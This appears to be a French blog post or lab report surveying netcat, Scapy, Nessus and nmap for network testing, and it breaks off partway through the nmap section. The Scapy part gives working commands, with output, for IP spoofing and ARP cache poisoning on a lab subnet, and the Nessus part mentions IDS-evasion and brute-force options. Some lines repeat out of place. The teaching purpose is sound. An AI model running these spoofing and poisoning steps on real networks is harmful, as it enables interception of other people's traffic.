Netcat
Qu'est ce que c'est?
Netcat est un petit outil qui permet d'envoyer des données a travers un réseau aussi bien en UDP qu'en TCP. C'est également un outil de terminaison utilisable facilement par d'autres programmes ou des scripts shells. C'est également un outil de debug d'application réseau puisqu'il peut créer toute connexion UDP ou TCP.Commandes
Se connecter à une machine>netcat 192.168.4.68 5000
192.168.4.68 : ip de la machine destination 5000: le port de destination
LxSilvano:/home/collins # netcat 192.168.4.67 5000
Dans ce cas, l'application est connectée et prête à discuter.
Dans le cas où a connexion n'est pas possible, le prompt réapparaît de suite.
Faire un serveur
netcat -l -v -p 5001
-l: mode listen, soit écoute -p: défini le port de la machine local
-v: mode verbose, soit verbeux, c'est à dire qu'il parle.
5001: numéro de port
LxSilvano:/home/collins # netcat -l -v -p 5001
listening on [any] 5001 ...
listening on [any] 5001... est la grace à l'option -v
Trouver un port ouvert dans une plagelistening on [any] 5001 ...
listening on [any] 5001... est la grace à l'option -v
>netcat -r -v -p 2003 192.168.4.67 5000-5100
-r: randomize, chercher les ports par une scrutation aléatoire dans plage indiquée.
-p: précise le port de la machine, ici précise le port d'émission
-r: randomize, chercher les ports par une scrutation aléatoire dans plage indiquée.
-p: précise le port de la machine, ici précise le port d'émission
LxSilvano:/home/collins # netcat -r -v -p 2003 192.168.4.67 5000-5100
192.168.4.67: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.4.67] 5005 (avt-profile-2) open
Remarque: la connexion s'effectue sur le premier port trouvé192.168.4.67: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.4.67] 5005 (avt-profile-2) open
Faire un serveur sur UDP:
>netcat -v -n -l -u -p 2020
-p: écoute sur le port 2020 -n: considère les adresses numériques, ne fait pas de résolution DNS.
-u: actionne le port d'écoute en UDP
ALxSilvano:/home/collins # netcat -v -n -u -l -p 2020
listening on [any] 2020 ...
connect to [192.168.4.222] from (UNKNOWN) [192.168.4.67] 1024
Créer un serveur temporairelistening on [any] 2020 ...
connect to [192.168.4.222] from (UNKNOWN) [192.168.4.67] 1024
>netcat -w 10 -l -p 5060
-w: temps d'expiration de l'écoute sur le port si il n'y a pas de connection avant. 10: temps en secondes
-l: listen mode
-p: port d'écoute
LxSilvano:/home/collins # netcat -w 5 -l -p 5060
no connection : Connection timed out
Réception d'une requête http :no connection : Connection timed out
Après avoir correctement configuré le navigateur web pour l'adresse et le port du proxy, grâce à netcat on peut observer la requête web envoyée.
collins@LxSilvano:~> netcat -l -p 5353
GET http://www.zqefoij.re/ HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.0.0; Linux)
Accept: text/*, image/jpeg, image/png, image/*, */*
Accept-Encoding: x-gzip, gzip, identity
Accept-Charset: ISO-8859-15
Accept-Language: fr
Host: www.zqefoij.re
GET http://www.zqefoij.re/ HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.0.0; Linux)
Accept: text/*, image/jpeg, image/png, image/*, */*
Accept-Encoding: x-gzip, gzip, identity
Accept-Charset: ISO-8859-15
Accept-Language: fr
Host: www.zqefoij.re
Conclusion
Netcat est outil très utile pour les développeurs d'applications clients/serveurs pour tester la connectivité et les messages échangés entre clients et serveurs. Il peut également servir dans un cadre pédagogique pour mettre en évidence la connectivité ou des mesdsages échangés. Les administrateurs réseaux préféreront sans doute des analyseurs réseaux tels que tcpdump ou ethereal, qui de part leur ergonomie permettent facilement d'observer les différentes couches d'encapsulation là où netcat ne présente que les données à envoyer. SCAPY
Scapy est un outil logiciel libre dont la principale fonction est la génération de trames réseau.Cet outil est programmé en python et son exécution offre donc l'accès à une console dans laquelle on entre successivement les commandes voulues.
Le principe de ce logiciel est de pouvoir configurer chaque champ de chaque couche des protocoles réseaux concernés à volonté.
Un certain nombre de classes pythons sont déjà créées pour pouvoir implémenter les différents protocoles supportés.
Protocoles supportés
Actuellement
La majorité des protocoles courants sont déjà implémentés : Ethernet, 802.1Q, 802.11, 802.3, EAPOL, LLC, EAP, BOOTP, PPP, IP, TCP, ICMP, ARP, STP, UDP, DNS.
Prochainement
Le développement de nouveaux protocoles sous scapy est relativement simple de par sa programmation en python. D'autres protocoles ont déjà été annoncés tels que Ipv6, OSPF ou BGP.Principales commandes
Lancement de l'application
python scapy.py
Lance l'application scapy, ouvre une console python.python scapy.py -s toto
Lance l'application en appellant toutes les commandes de la session toto précédemment sauvegardée.Commandes de la console python
Commandes bas niveau:<classe>.__doc__
Permet d'obtenir la documentation d'une classe, ceci est une commande globale de pythonconf.session=''toto''
Permet de sauvegarder la session courante dans le fichier toto qui sera sauvegardé dans le répertoire courant.ls()
Permet d'obtenir la liste des protocoles disponiblesls(IP)
Affiche la liste des champs du protocole IPlsc()
Affiche la liste des commandes globales disponiblesi=IP()
Implémente un objet IPi.ttl=7
Assigne le champ ttl de l'objet i à la valeur vouluei.ttl
Affiche la valeur du champ ttl de l'objet ipkts=IP(ttl=(1,10))
Crée un groupe de paquets constitués du protocole IP ayant pour valeurs du champ ttl les nombres de 1 à 10i=IP()/TCP()
Permet de créer une trame constituée de la concaténation de deux protocoles, on peut en faire de même avec un nombre illimité de concaténationsp.display()
Permet d'afficher une trame, affiche tous les protocoles implémentéssend(pkt)
Envoie le paquet pkt de couche 3 sur l'interface sélectionnée (eth0 par défaut)sendp(tr)
Envoie la trame tr de couche 2 sur l'interface sélectionnée (eth0 par défaut)arp=sniff(filter=''arp'', count=''2'')
Permet d'écouter les 2 prochaines trames de type arp et les stocker dans l'objet arpans,unans=sr(pkt)
Envoie un paquet ou groupe de paquets (couche 3), attend leur réponse et stocke le résultat dans des variables : ans pour les réponses et unans pour les paquets n'ayant pas eu de réponseans,unans=srp(tr)
Donne le même résultat mais nécessite la présence du niveau 2_
L’underscore donne le résultat de la dernière commande, ceci est une commande globale de pythonCommandes de niveau plus élevé :
Cet outil propose aussi des instructions de niveau plus élevé mettant à profit les instructions bas niveau développées.
nmap
Commande reprenant la plupart des fonctionnalités de l'outil système du même nomnmap-fp
Permet de faire de l'OS fingerprinting (récupération d'information sur l'OS utilisé par un hôte)sniff(prn=prnp0f)
Permet de faire de l'OS fingerprinting passifExemples d'utilisation
Emission d'une requête ping à destination de l'hôte 192.168.4.68 (echo-request est la requête par défaut du protocole ICMP)
>>> IP(dst='192.168.4.68')/ICMP()
<IP proto=ICMP dst=192.168.4.68 |<ICMP |>>
Emission de la même requête ping avec attente du premier paquet de réponse <IP proto=ICMP dst=192.168.4.68 |<ICMP |>>
On remarque que parmi les 4 paquets reçus, scapy a été capable de repérer la réponse à sa requête
>>> sr1(IP(dst='192.168.4.68')/ICMP())
Begin emission:
...*Finished to send 1 packets.
Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=28 id=5036 flags= frag=0 ttl=64 proto=ICMP chksum=0xdd31 src=192.168.4.68 dst=192.168.4.111 options='' |<ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
Obtention de la documentation sur le protocole ARPBegin emission:
...*Finished to send 1 packets.
Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=28 id=5036 flags= frag=0 ttl=64 proto=ICMP chksum=0xdd31 src=192.168.4.68 dst=192.168.4.111 options='' |<ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
On peut maintenant formater une trame ARP>>> ls(ARP) hwtype : XShortField = (1) ptype : XShortField = (2048) hwlen : ByteField = (6) plen : ByteField = (4) op : ShortEnumField = (1) hwsrc : ARPSourceMACField = (None) psrc : SourceIPField = (None) hwdst : MACField = ('00:00:00:00:00:00') pdst : IPField = ('0.0.0.0')
On remarque que scapy a automatiquement ajouté notre adresse MAC et IP dans les champs correspondants>>> ARP(pdst='192.168.4.222').display() ---[ ARP ]--- hwtype = 0x1 ptype = 0x800 hwlen = 6 plen = 4 op = who-has hwsrc = 00:01:02:a1:ae:2e psrc = 192.168.4.111 hwdst = 00:00:00:00:00:00 pdst = 192.168.4.222
On voit aussi que la requête ARP par défaut est who-has
Envoyons maintenant cette requête et analysons la réponse
Essayons de combiner ces deux protocoles pour effectuer une attaque>>> ans=sr1(ARP(pdst='192.168.4.222')) Begin emission: ...*Finished to send 1 packets. Received 4 packets, got 1 answers, remaining 0 packets >>> ans.display() ---[ ARP ]--- hwtype = 0x1 ptype = 0x800 hwlen = 6 plen = 4 op = is-at hwsrc = 00:01:02:a1:ad:0a psrc = 192.168.4.222 hwdst = 00:01:02:a1:ae:2e pdst = 192.168.4.111 ---[ Padding ]--- load = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Tout d'abord, essayons de pinger un hôte en ne mettant pas notre adresse IP réelle
>>> sr1(IP(src='192.168.4.100',dst='192.168.4.6')/ICMP())
Begin emission:
..Finished to send 1 packets.
....................................................
Received 54 packets, got 0 answers, remaining 1 packets
Cela ne donne aucune réponse, essayons maintenant de faire croire à l'hôte que l'adresse IP en question nous appartientBegin emission:
..Finished to send 1 packets.
....................................................
Received 54 packets, got 0 answers, remaining 1 packets
Cette attaque est nommée ARP poisonning, elle permet d'écrire des données erronées dans la table ARP de l'hôte distant
>>>send(ARP(op=2,hwsrc='00:01:02:A1:AE:2E',psrc='192.168.4.100',hwdst='00:50:DA:41:9C:0A',pdst='192.168.4.6'))
Réessayons maintenant de pinger cet hôte distant>>> sr1(IP(src='192.168.4.100',dst='192.168.4.6')/ICMP())
Begin emission:
.*Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=28 id=240 flags= frag=0 ttl=64 proto=ICMP chksum=0xf036 src=192.168.4.6 dst=192.168.4.100 options='' |<ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
On a bien reçu la réponse à notre requête ping, cela signifie que l'hôte distant croit que notre adresse IP est 192.168.4.100 alors qu'il n'en n'est rien, il est donc susceptible de nous envoyer les paquets qu'il voudrait envoyer à cette adresse alors que nous n'en sommes pas le destinataireBegin emission:
.*Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x0 len=28 id=240 flags= frag=0 ttl=64 proto=ICMP chksum=0xf036 src=192.168.4.6 dst=192.168.4.100 options='' |<ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
Fonctionnalités
Les fonctionnalités fondamentales de scapy sont la création, l'affichage, l'envoi et la réception de paquets avec la possibilité de faire correspondre les paquets reçus avec ceux que l'on vient d'envoyer. D'autres fonctionnalités viennent s'appuyer sur ces couches : effectuer ou lire des captures pcap, activités de découverte (nmap), d'attaques (arp poisoning).Cet outil utilise par défaut les librairies libdnet et libpcap, ce qui autorise la création de trames à volonté, même de trames invalides, ce qui nécessite les droits de l'utilisateur root.
Applications possibles
Les principales applications envisageables pour scapy sont à ce jour des fins de recherche et d'enseignement. On peut en effet facilement grâce à cet outil étudier la forme exacte des trames envoyées et reçues. De plus, on peut relativement facilement implémenter de nouveaux protocoles, ce qui en fait un logiciel de développement et de test de nouveaux protocoles assez intéressant.D'autres applications peuvent être envisagées, comme le scannage de réseau, des attaques précises afin de tester la sécurité de serveurs, ou la création de rapports (au format LaTex ou html), mais ces aspects sont encore légèrement immatures par rapport à des outils déjà existants tels que nmap.
Conclusion
Ce logiciel est très puissant, il permet de formater des trames à volonté, ce qui peut se révéler très utile. Comme tous les champs de chaque protocole sont modifiables, on pourra réaliser toutes les trames possibles et imaginables, ce qui permettra de tester de façon complète un système.De plus, il est facilement extensible en fonction de ses besoins, on pourra par exemple automatiser certaines attaques ou implémenter de nouveaux protocoles.
Certains détails viennent tout de même ombrager cette présentation.
Tous d'abord, la puissance de cet outil résidant principalement dans ses fonctions bas niveaux, une très bonne connaissance des protocoles mis en jeux est indispensable.
De plus, la documentation disponible pour cet outil se résume à la documentation du code qui, de par le choix du langage python, est disponible dans la console grâce à la fonction __doc__. Cette documentation sommaire sera largement insuffisante pour un utilisateur facilement décourageable.
Quand aux fonctions haut niveau, elles ont surtout été développées pour démontrer le potentiel de l'application.
Au final, si cet outil trouve parfaitement sa place dans un environnement de recherche, développement, ou enseignement, elle manque encore de maturité pour pouvoir être utilisée quotidiennement par un administrateur réseau.
On lui préfèrera par exemple les outils traditionnels et éprouvés qu'elle essaie de cloner, comme nmap, dont la documentation est plus complète et qui comportent plus de fonctionnalités.
Il n'est toutefois pas exclu que cet outil se répande si d'autres fonctions haut niveau sont développées et l'ergonomie un peu améliorée.
Nessus
Que fait Nessus?
Nessus est non seulement un outil de scan de ports, mais également un outil de détection de faille de sécurité.Il peut opérer sur plusieurs machines à la fois, et fournit un rapport une fois le scan effectué.
De nombreux paramètres agissants sur les scans, sur les tests de sécurité sont ajustables par l'utilisateur.
Comment se déroule un scan?
Un scan d'une machine se déroule en deux temps. Tout d'abord il scanne des ports d'après les critères définis dans les préférences, puis soumet les machines scannées à des attaques pour voir les machines sensibles à des attaques. Ces attaques sont sélectionnées par les plugins dans la rubrique du même nom.Les différentes rubriques et onglets
Nous allons passer en revue les principaux onglets qui sont les suivants:Plugins
Préférences
Scan options
Target selection
Plugins
Cet onglet concerne les plugins de nessus. Ils sont sollicités dans la seconde phase du scan des machines. Ils contiennent des attaques réseau connues et servent pour tester la vulnérabilité des machines aux attaques sélectionnées.La fenêtre du haut présente les différents plugins disponibles alors que celle du bas affiche les différentes attaques décrites par le plugin sélectionné. Des boutons radio permettent de sélectionner les plugins à mettre en oeuvre et chaque attaque à tester.
Il y'a possibilité de charger des plugins supplémentaires pour mettre à jour la base des attaques testées par nessus.
Un point important est que nessus signale toute attaque pouvant faire crasher la machine visée lors de la sélection d'un attaque.
Préférences
Cet onglet permet de choisir les techniques employées lors du scan de ports. Principaux paramètres
Recherche de port SNMP:La version SNMP, la communauté, le protocole de couche transport sont paramétrables, ainsi que la plage de ports et la répartition temporelle.
Ping de l'hôte distant:
Choix entre ICMP ping ou TCP ping et traitement des hôtes absents et du log des hôtes découverts.
Fonctionnalités de nmap:
Ceci comprend notamment les techniques de scan TCP(connect(), SYN, FIN, Xmas tree, null scan et les composés de plusieurs techniques).
Egalement les différentes options de nmap telles que le scan de ports UDP, de ports RPC, la détection d' OS, la fragmentation de paquets IP, le scan aléatoire...
La répartition temporelle est paramétrable, que ce soit dans la fréquence aussi bien que dans la régularité.
IDS:
Des techniques de camouflage d'intrusions sont sélectionnables à travers une dizaines de techniques proposées. Elles permettent de flouer un éventuel IDS qui serait en train d'observer le réseau.
Chacune tire parti de failles différentes connues de certains IDS du commerce.
NIDS:
De nombreuses techniques d'évasions spécifiques à certains protocoles tels TCP ou HTTP sont proposées ici pour flouer les détecteurs d'intrusions.
Brute Force:
Possibilité de tester en Brute Force(essai de toutes les possibilités) sur de nombreux protocoles: Telnet, pop3, IMAP, VNC, FTP...
Autres:
D'autres paramètres sont également configurables, mais concernent des techniques avancées spécifiques et ne seront donc pas développées ici.
Les options de scan sont d'ordre général. Par exemple les plages de ports à scanner, le nombre d'ôtes à scanner à la fois... et d'autres options tout aussi générales.
Egalement une possibilité de faire exécuter le scan en tache de fond.
Target sélection:
Permet de sélectionner les machines cibles par adresses IP ou réseaux ou sous réseaux.
Avantages et inconvénients
Ses avantages sont nombreux. Nessus est un outil très complet dans son domaine du scan de ports. Les paramètres sur lesquels on peut agir sont très nombreux, ce qui donne l'impression que cet outil être très complet.D'autre part la présentation du rapport de scan est très pratique, sous forme tableau dynamique rassemblant les sous réseaux observés, les IP précises observées, les ports détectés, la sensibilité du port, et enfin une explication sur le warning présenté.
De manière générale, l'interface graphique est la bienvenue et peut présenter de manière visuelle toutes les options disponibles.
Un inconvénient est quand même le grand nombre de paramètres sur lesquels on peut agir sans tout le temps bien comprendre ce qu'ils font. En effet le détail et la signification des attaques, des options de scans ne sont pas toujours très clairs par leur simple nom.
Un avantage incontestable: nessus prévient si l'on coche une option qui peut être dangereuse ou bloquante pour un certain temps.
Un lien utile est le site de nessus: www.nessus.org
Une fois le scan opéré avec les options choisies, nessus opère à de tests de trous de sécurité connus et stockés dans les plugins et sélectionnables.
Les informations sur le niveau de sécurité résultant de ces attaques sont reportées dans les rapports. Des explications sont données sur la raison pour laquelle il a été détecté un trou de sécurité.
Utilisation
Pour l'installation et la mise en route, des pages très utiles sont: http://www.nessus.org/demo/first.html
Elles décrivent les étapes d'initialisation du serveur, comme du client nessus et l'utilisation du client. De plus, lorsqu'ils sont bien installés les pages de manuel (man) sont également très utiles, notamment pour le nessus-adduser qui permet de créer de nouveaux utilisateurs.
En effet Nessus est composé d'un client et d'un serveur. Ceci permet d'attribuer des droits d'utilisation de nessus spécifique à chaque utilisateur.
Pour connecter un client il faudra donc connaître l'adresse IP du serveur de nessus (nessusd) et le port sur lequel il travaille. Il faut également connaître un couple login/password valide.
Pour créer un utilisateur la page suivante donne les démarches principales:
http://www.nessus.org/demo/first.html
Exemple de création d'un utilisateur:
Création de l'utilisateur "gabo" qui peut scanner le host 192.168.4.68, mais pas 192.168.4.222 et même aucun autre poste.
Gabo devra donc se logger avec les login et password gabo et gabo.LxSilvano:/home/collins/projet/Rapport # nessus-adduser Using /var/tmp as a temporary file holder Add a new nessusd user ---------------------- Login : gabo Authentication (pass/cert) [pass] : pass Login password : gabo User rules ---------- nessusd has a rules system which allows you to restrict the hosts that gabo has the right to test. For instance, you may want him to be able to scan his own host only. Please see the nessus-adduser(8) man page for the rules syntax Enter the rules for this user, and hit ctrl-D once you are done : (the user can have an empty rules set) deny 192.168.4.222 accept 192.168.4.68 default deny Login : gabo Password : gabo DN : Rules : deny 192.168.4.222 accept 192.168.4.68 default deny Is that ok ? (y/n) [y] y user added.
De plus il ne pourra scanner que l'adresse 192.168.4.68. Il y a également possibilité de permettre ou d'interdire des réseaux ou sous réseau entier avec le nombre de bits du masque de sous réseau:
accept 10.163.156.0/24
http://www.nessus.org/demo/second.html
et
http://www.nessus.org/demo/third.html
Ceci dit pour les personnes qui ont déjà utilisé nmap et autres logiciels de gestion de réseau, les différentes classes de paramètres sur lesquels on peut agir sont relativement intuitives.
Résultats
Les résultats sont présentés sous formes d'une multifenêtre résumant les réseaux scannés, les hôtes scannés, les ports ouverts trouvés et la sensibilité de ces ports aux attaques avec les éventuelles solutions pour y remédier.Remarque:
L'installation de nessus à partir des rpm peut être hasardeuse car elle requiert des composants particuliers, tels rpm helpers et autres. Toujours est il qu'il me parait plus facile de faire l'installation à partir des sources.
Conclusion
Nessus est un outil très puissant. Il sera apprécié autant pour ses capacités de scans de ports, que ses diagnostiques sur la sensibilité aux attaques. Le tout associé à une interface graphique présentant les résultats d'une façon claire et sans ambiguïté font de nessus un outil très utile à l'administrateur réseau.NMAP
Nmap est un outil d'exploration réseau. Il permet de sonder un réseau entier et de détecter les services en écoute et sur quel port. A l'aide de fingerprints, il permet également d'estimer quel OS tourne le plus probablement sur une machine donnée. Les options de scans sont nombreuses allant du scan tcp connect() au spoofing d'adresses IP. Nmap est également disponible sous windows.Possibilités
Nmap est essentiellement centré sur les scans de ports et d'ip. Il supporte les scans aussi bien sur TCP qu' UDP et par différentes techniques basés sur les connections tcp, les flags de contrôles SYN, FIN,ACK, les réponses renvoyées.Nmap permet également de détecter les OS, les protocoles IP supportés, faire de l'IP spoofing, créer des adresses ip leurres (decoy) ...
Avantages et inconvénients
Nmap peut travailler sur des plages d'adresses et de ports, ce qui le rend particulièrement pratiques pour des recherches de masse. Les options de scans sont très nombreuses ce qui multiplie grandement les possibilités de détections.D'autre part nmap est bien documenté. Que ce soit par le man très complet sur les options, mais également en documentation disponible sur inter
0 commentaires:
Enregistrer un commentaire